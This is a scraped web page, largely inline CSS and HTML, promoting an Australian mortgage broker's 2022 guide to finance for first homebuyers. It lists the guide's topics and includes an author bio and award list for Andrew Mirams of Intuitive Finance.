.kb-image-is-ratio-size{align-self:unset;}.kb-image16149_3b48be-c8{max-width:50px;}.image-is-svg.kb-image16149_3b48be-c8{-webkit-flex:0 1 100%;flex:0 1 100%;}.image-is-svg.kb-image16149_3b48be-c8 img{width:100%;}.kb-image16149_3b48be-c8 .kb-image-has-overlay:after{opacity:0.3;}.wp-block-kadence-advancedheading.kt-adv-heading16149_bebc97-15, .wp-block-kadence-advancedheading.kt-adv-heading16149_bebc97-15[data-kb-block="kb-adv-heading16149_bebc97-15"]{text-align:center;font-size:22px;line-height:1.1;}.wp-block-kadence-advancedheading.kt-adv-heading16149_bebc97-15 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading16149_bebc97-15[data-kb-block="kb-adv-heading16149_bebc97-15"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}@media all and (max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading16149_bebc97-15, .wp-block-kadence-advancedheading.kt-adv-heading16149_bebc97-15[data-kb-block="kb-adv-heading16149_bebc97-15"]{font-size:20px;}}.kadence-column16149_4136a0-15 > .kt-inside-inner-col{display:flex;}.kadence-column16149_4136a0-15 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column16149_4136a0-15 > .kt-inside-inner-col{flex-direction:column;align-items:center;}.kadence-column16149_4136a0-15 > .kt-inside-inner-col > .kb-image-is-ratio-size{align-self:stretch;}.kadence-column16149_4136a0-15 > .kt-inside-inner-col > .wp-block-kadence-advancedgallery{align-self:stretch;}.kadence-column16149_4136a0-15 > .kt-inside-inner-col > .aligncenter{width:100%;}@media all and (max-width: 1024px){.kadence-column16149_4136a0-15 > .kt-inside-inner-col{flex-direction:column;align-items:center;}}@media all and (max-width: 767px){.kadence-column16149_4136a0-15 > .kt-inside-inner-col{flex-direction:column;align-items:center;}}.kb-image16149_33c1ff-0b.kb-image-is-ratio-size, .kb-image16149_33c1ff-0b .kb-image-is-ratio-size{max-width:50px;width:100%;}.wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_33c1ff-0b.kb-image-is-ratio-size, .wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_33c1ff-0b .kb-image-is-ratio-size{align-self:unset;}.kb-image16149_33c1ff-0b{max-width:50px;}.image-is-svg.kb-image16149_33c1ff-0b{-webkit-flex:0 1 100%;flex:0 1 100%;}.image-is-svg.kb-image16149_33c1ff-0b img{width:100%;}.kb-image16149_33c1ff-0b .kb-image-has-overlay:after{opacity:0.3;}.wp-block-kadence-advancedheading.kt-adv-heading16149_707816-1e, .wp-block-kadence-advancedheading.kt-adv-heading16149_707816-1e[data-kb-block="kb-adv-heading16149_707816-1e"]{text-align:center;font-size:22px;line-height:1.1;}.wp-block-kadence-advancedheading.kt-adv-heading16149_707816-1e mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading16149_707816-1e[data-kb-block="kb-adv-heading16149_707816-1e"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}@media all and (max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading16149_707816-1e, .wp-block-kadence-advancedheading.kt-adv-heading16149_707816-1e[data-kb-block="kb-adv-heading16149_707816-1e"]{font-size:20px;}}.kadence-column16149_885aea-78 > .kt-inside-inner-col{display:flex;}.kadence-column16149_885aea-78 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column16149_885aea-78 > .kt-inside-inner-col{flex-direction:column;align-items:center;}.kadence-column16149_885aea-78 > .kt-inside-inner-col > .kb-image-is-ratio-size{align-self:stretch;}.kadence-column16149_885aea-78 > .kt-inside-inner-col > .wp-block-kadence-advancedgallery{align-self:stretch;}.kadence-column16149_885aea-78 > .kt-inside-inner-col > .aligncenter{width:100%;}@media all and (max-width: 1024px){.kadence-column16149_885aea-78 > .kt-inside-inner-col{flex-direction:column;align-items:center;}}@media all and (max-width: 767px){.kadence-column16149_885aea-78 > .kt-inside-inner-col{flex-direction:column;align-items:center;}}.kb-image16149_e04665-c5.kb-image-is-ratio-size, .kb-image16149_e04665-c5 .kb-image-is-ratio-size{max-width:50px;width:100%;}.wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_e04665-c5.kb-image-is-ratio-size, .wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_e04665-c5 .kb-image-is-ratio-size{align-self:unset;}.kb-image16149_e04665-c5{max-width:50px;}.image-is-svg.kb-image16149_e04665-c5{-webkit-flex:0 1 100%;flex:0 1 100%;}.image-is-svg.kb-image16149_e04665-c5 img{width:100%;}.kb-image16149_e04665-c5 .kb-image-has-overlay:after{opacity:0.3;}.wp-block-kadence-advancedheading.kt-adv-heading16149_31597b-04, .wp-block-kadence-advancedheading.kt-adv-heading16149_31597b-04[data-kb-block="kb-adv-heading16149_31597b-04"]{text-align:center;font-size:22px;line-height:1.1;}.wp-block-kadence-advancedheading.kt-adv-heading16149_31597b-04 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading16149_31597b-04[data-kb-block="kb-adv-heading16149_31597b-04"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}@media all and (max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading16149_31597b-04, .wp-block-kadence-advancedheading.kt-adv-heading16149_31597b-04[data-kb-block="kb-adv-heading16149_31597b-04"]{font-size:20px;}}.kadence-column16149_88ce94-73 > .kt-inside-inner-col{display:flex;}.kadence-column16149_88ce94-73 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column16149_88ce94-73 > .kt-inside-inner-col{flex-direction:column;align-items:center;}.kadence-column16149_88ce94-73 > .kt-inside-inner-col > .kb-image-is-ratio-size{align-self:stretch;}.kadence-column16149_88ce94-73 > .kt-inside-inner-col > .wp-block-kadence-advancedgallery{align-self:stretch;}.kadence-column16149_88ce94-73 > .kt-inside-inner-col > .aligncenter{width:100%;}@media all and (max-width: 1024px){.kadence-column16149_88ce94-73 > .kt-inside-inner-col{flex-direction:column;align-items:center;}}@media all and (max-width: 767px){.kadence-column16149_88ce94-73 > .kt-inside-inner-col{flex-direction:column;align-items:center;}}.kb-image16149_becd18-30.kb-image-is-ratio-size, .kb-image16149_becd18-30 .kb-image-is-ratio-size{max-width:50px;width:100%;}.wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_becd18-30.kb-image-is-ratio-size, .wp-block-kadence-column > .kt-inside-inner-col > .kb-image16149_becd18-30 .kb-image-is-ratio-size{align-self:unset;}.kb-image16149_becd18-30{max-width:50px;}.image-is-svg.kb-image16149_becd18-30{-webkit-flex:0 1 100%;flex:0 1 100%;}.image-is-svg.kb-image16149_becd18-30 img{width:100%;}.kb-image16149_becd18-30 .kb-image-has-overlay:after{opacity:0.3;}.wp-block-kadence-advancedheading.kt-adv-heading16149_8b99cc-aa, .wp-block-kadence-advancedheading.kt-adv-heading16149_8b99cc-aa[data-kb-block="kb-adv-heading16149_8b99cc-aa"]{text-align:center;font-size:22px;line-height:1.1;}.wp-block-kadence-advancedheading.kt-adv-heading16149_8b99cc-aa mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading16149_8b99cc-aa[data-kb-block="kb-adv-heading16149_8b99cc-aa"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}@media all and (max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading16149_8b99cc-aa, .wp-block-kadence-advancedheading.kt-adv-heading16149_8b99cc-aa[data-kb-block="kb-adv-heading16149_8b99cc-aa"]{font-size:20px;}}.kb-row-layout-id21524_b68d42-e8 > .kt-row-column-wrap{column-gap:32px;row-gap:32px;max-width:1180px;margin-left:auto;margin-right:auto;padding-top:20px;padding-right:48px;padding-bottom:0px;padding-left:48px;grid-template-columns:minmax(0, 1fr);}@media all and (max-width: 767px){.kb-row-layout-id21524_b68d42-e8 > .kt-row-column-wrap{padding-top:0px;padding-right:16px;padding-bottom:30px;padding-left:16px;grid-template-columns:minmax(0, 1fr);}}.kadence-column21524_f27fa3-5b > .kt-inside-inner-col{padding-top:24px;padding-bottom:24px;}.kadence-column21524_f27fa3-5b > .kt-inside-inner-col,.kadence-column21524_f27fa3-5b > .kt-inside-inner-col:before{border-top-left-radius:8px;border-top-right-radius:8px;border-bottom-right-radius:8px;border-bottom-left-radius:8px;}.kadence-column21524_f27fa3-5b > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column21524_f27fa3-5b > .kt-inside-inner-col{flex-direction:column;}.kadence-column21524_f27fa3-5b > .kt-inside-inner-col > .aligncenter{width:100%;}@media all and (max-width: 1024px){.kadence-column21524_f27fa3-5b > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-column21524_f27fa3-5b > .kt-inside-inner-col{flex-direction:column;}}.kb-row-layout-id21524_a73b20-24 > .kt-row-column-wrap{grid-template-columns:repeat(2, minmax(0, 1fr));}@media all and (max-width: 767px){.kb-row-layout-id21524_a73b20-24 > .kt-row-column-wrap{padding-top:30px;padding-right:16px;padding-bottom:30px;padding-left:16px;grid-template-columns:minmax(0, 1fr);}.kb-row-layout-id21524_a73b20-24 > .kt-row-column-wrap > .wp-block-kadence-column:nth-child(1){order:2;}.kb-row-layout-id21524_a73b20-24 > .kt-row-column-wrap > .wp-block-kadence-column:nth-child(2){order:1;}.kb-row-layout-id21524_a73b20-24 > .kt-row-column-wrap > .wp-block-kadence-column:nth-child(3){order:12;}.kb-row-layout-id21524_a73b20-24 > .kt-row-column-wrap > .wp-block-kadence-column:nth-child(4){order:11;}.kb-row-layout-id21524_a73b20-24 > .kt-row-column-wrap > .wp-block-kadence-column:nth-child(5){order:22;}.kb-row-layout-id21524_a73b20-24 > .kt-row-column-wrap > .wp-block-kadence-column:nth-child(6){order:21;}.kb-row-layout-id21524_a73b20-24 > .kt-row-column-wrap > .wp-block-kadence-column:nth-child(7){order:32;}.kb-row-layout-id21524_a73b20-24 > .kt-row-column-wrap > .wp-block-kadence-column:nth-child(8){order:31;}}.kadence-column21524_8eac72-e1 > .kt-inside-inner-col{display:flex;}.kadence-column21524_8eac72-e1 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column21524_8eac72-e1 > .kt-inside-inner-col{flex-direction:column;justify-content:center;}.kadence-column21524_8eac72-e1 > .kt-inside-inner-col > .aligncenter{width:100%;}.kt-row-column-wrap > .kadence-column21524_8eac72-e1{align-self:center;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column21524_8eac72-e1{align-self:auto;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column21524_8eac72-e1 > .kt-inside-inner-col{flex-direction:column;justify-content:center;}@media all and (max-width: 1024px){.kt-row-column-wrap > .kadence-column21524_8eac72-e1{align-self:center;}}@media all and (max-width: 1024px){.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column21524_8eac72-e1{align-self:auto;}}@media all and (max-width: 1024px){.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column21524_8eac72-e1 > .kt-inside-inner-col{flex-direction:column;justify-content:center;}}@media all and (max-width: 1024px){.kadence-column21524_8eac72-e1 > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kt-row-column-wrap > .kadence-column21524_8eac72-e1{align-self:center;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column21524_8eac72-e1{align-self:auto;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column21524_8eac72-e1 > .kt-inside-inner-col{flex-direction:column;justify-content:center;}.kadence-column21524_8eac72-e1 > .kt-inside-inner-col{flex-direction:column;align-items:center;}}.wp-block-kadence-advancedheading.kt-adv-heading21524_557b14-97, .wp-block-kadence-advancedheading.kt-adv-heading21524_557b14-97[data-kb-block="kb-adv-heading21524_557b14-97"]{margin-bottom:5px;text-align:left;font-size:32px;line-height:1.1;text-transform:none;}.wp-block-kadence-advancedheading.kt-adv-heading21524_557b14-97 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading21524_557b14-97[data-kb-block="kb-adv-heading21524_557b14-97"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}@media all and (max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading21524_557b14-97, .wp-block-kadence-advancedheading.kt-adv-heading21524_557b14-97[data-kb-block="kb-adv-heading21524_557b14-97"]{font-size:24px;}}.wp-block-kadence-advancedheading.kt-adv-heading21524_240eed-94, .wp-block-kadence-advancedheading.kt-adv-heading21524_240eed-94[data-kb-block="kb-adv-heading21524_240eed-94"]{margin-top:0px;text-align:left;font-size:64px;line-height:1.1;text-transform:none;}.wp-block-kadence-advancedheading.kt-adv-heading21524_240eed-94 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading21524_240eed-94[data-kb-block="kb-adv-heading21524_240eed-94"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}@media all and (max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading21524_240eed-94, .wp-block-kadence-advancedheading.kt-adv-heading21524_240eed-94[data-kb-block="kb-adv-heading21524_240eed-94"]{font-size:38px;}}.kadence-column21524_87928f-c1 > .kt-inside-inner-col{display:flex;}.kadence-column21524_87928f-c1 > .kt-inside-inner-col{padding-bottom:0px;}.kadence-column21524_87928f-c1 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column21524_87928f-c1 > .kt-inside-inner-col{flex-direction:column;justify-content:center;align-items:flex-end;}.kadence-column21524_87928f-c1 > .kt-inside-inner-col > .kb-image-is-ratio-size{align-self:stretch;}.kadence-column21524_87928f-c1 > .kt-inside-inner-col > .wp-block-kadence-advancedgallery{align-self:stretch;}.kadence-column21524_87928f-c1 > .kt-inside-inner-col > .aligncenter{width:100%;}.kt-row-column-wrap > .kadence-column21524_87928f-c1{align-self:center;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column21524_87928f-c1{align-self:auto;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column21524_87928f-c1 > .kt-inside-inner-col{flex-direction:column;justify-content:center;}@media all and (max-width: 1024px){.kt-row-column-wrap > .kadence-column21524_87928f-c1{align-self:center;}}@media all and (max-width: 1024px){.kt-inner-column-height-full:not(.kt-has-1-columns) > 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<p class="kt-adv-heading21490_e45116-64 wp-block-kadence-advancedheading has-theme-palette-2-color has-text-color" data-kb-block="kb-adv-heading21490_e45116-64">Simplifying Your Finance Journey</p>
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<h1 class="kt-adv-heading16149_3d1a1a-47 wp-block-kadence-advancedheading" data-kb-block="kb-adv-heading16149_3d1a1a-47">The 2022 Guide To Finance for First Homebuyers</h1>



<p class="kt-adv-heading16149_e34432-71 wp-block-kadence-advancedheading" data-kb-block="kb-adv-heading16149_e34432-71"><strong>Don&#8217;t secure finance for your first home, without reading this Guide!</strong></p>



<p class="kt-adv-heading16149_6a7f48-28 wp-block-kadence-advancedheading" data-kb-block="kb-adv-heading16149_6a7f48-28">Owning your first home is an incredibly exciting but daunting time in your life. This guide will help you identify all the challenges you need to be aware of when securing finance for your first home.</p>



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<h3 class="kt-adv-heading16149_20db4a-39 no_br_on_mobile wp-block-kadence-advancedheading" data-kb-block="kb-adv-heading16149_20db4a-39">In This Guide You Will Learn</h3>


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<p class="kt-adv-heading16149_2c4e06-fd wp-block-kadence-advancedheading has-kb-palette-2-color has-text-color" data-kb-block="kb-adv-heading16149_2c4e06-fd">How much can<br>I borrow?</p>
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<p class="kt-adv-heading16149_49bf3c-da no_br_on_mobile wp-block-kadence-advancedheading has-kb-palette-2-color has-text-color" data-kb-block="kb-adv-heading16149_49bf3c-da">How much will I need as a deposit?</p>
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<p class="kt-adv-heading16149_f47787-83 wp-block-kadence-advancedheading has-kb-palette-2-color has-text-color" data-kb-block="kb-adv-heading16149_f47787-83">Lender’s Mortgage Insurance <br>(LMI) – what’s that and will I need it?</p>
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<p class="kt-adv-heading16149_a3f104-ac wp-block-kadence-advancedheading has-kb-palette-2-color has-text-color" data-kb-block="kb-adv-heading16149_a3f104-ac">Family<br>Guarantee</p>
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<p class="kt-adv-heading16149_bebc97-15 wp-block-kadence-advancedheading has-kb-palette-2-color has-text-color" data-kb-block="kb-adv-heading16149_bebc97-15">The 1st Homebuyers<br>Grant</p>
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<p class="kt-adv-heading16149_707816-1e no_br_on_mobile wp-block-kadence-advancedheading has-kb-palette-2-color has-text-color" data-kb-block="kb-adv-heading16149_707816-1e">Repayments</p>
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<p class="kt-adv-heading16149_31597b-04 wp-block-kadence-advancedheading has-kb-palette-2-color has-text-color" data-kb-block="kb-adv-heading16149_31597b-04">Home Buying<br>Costs</p>
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<p class="kt-adv-heading16149_8b99cc-aa wp-block-kadence-advancedheading has-kb-palette-2-color has-text-color" data-kb-block="kb-adv-heading16149_8b99cc-aa">The Buying<br>Process</p>
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<h3 class="kt-adv-heading21524_557b14-97 no_br_on_mobile wp-block-kadence-advancedheading" data-kb-block="kb-adv-heading21524_557b14-97">About the author</h3>



<h2 class="kt-adv-heading21524_240eed-94 no_br_on_mobile wp-block-kadence-advancedheading has-theme-palette-2-color has-text-color" data-kb-block="kb-adv-heading21524_240eed-94">Andrew Mirams</h2>
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<p class="kt-adv-heading21524_6c32a2-06 no_br_on_mobile wp-block-kadence-advancedheading" data-kb-block="kb-adv-heading21524_6c32a2-06">Andrew Mirams is the Founder and Managing Director of <a href="https://intuitivefinance.com.au/">Intuitive Finance</a>, a highly respected and multi-award winning Mortgage Brokerage dealing with clients all over Australia and around the world. Andrew has over 30 year’s experience in the finance industry and has assisted clients to secure over $2 Billion in mortgage lending over his time.<br><br>Intuitive Finance deals with all aspects of lending from helping first homebuyers, someone wanting to upgrade their home or starting out and experienced investors looking to secure that next investment property, we can assist with all those requirements. We also specialise in working with self-employed clients and getting them the best outcomes, along with Commercial and Asset finance solutions.<br><br>Intuitive Finance is highly regarded in the industry and has been recognised as a national winner of the MFAA customer service award and also one of the finance industry’s top mortgage employers. Our brokers also feature regularly in the Top 100 mortgage brokers list in Australia.</p>



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<li><strong>Mortgage Professional Australia (MPA) Magazine, Top 100 Mortgage Brokers &#8211; 2008 to 2023</strong></li>



<li><strong>Connective Excellence, Broker Of The Year &#8211; 2022</strong></li>



<li><strong>Mortgage and Finance Association of Australia (MFAA), Community Champion Award &#8211; 2020</strong></li>
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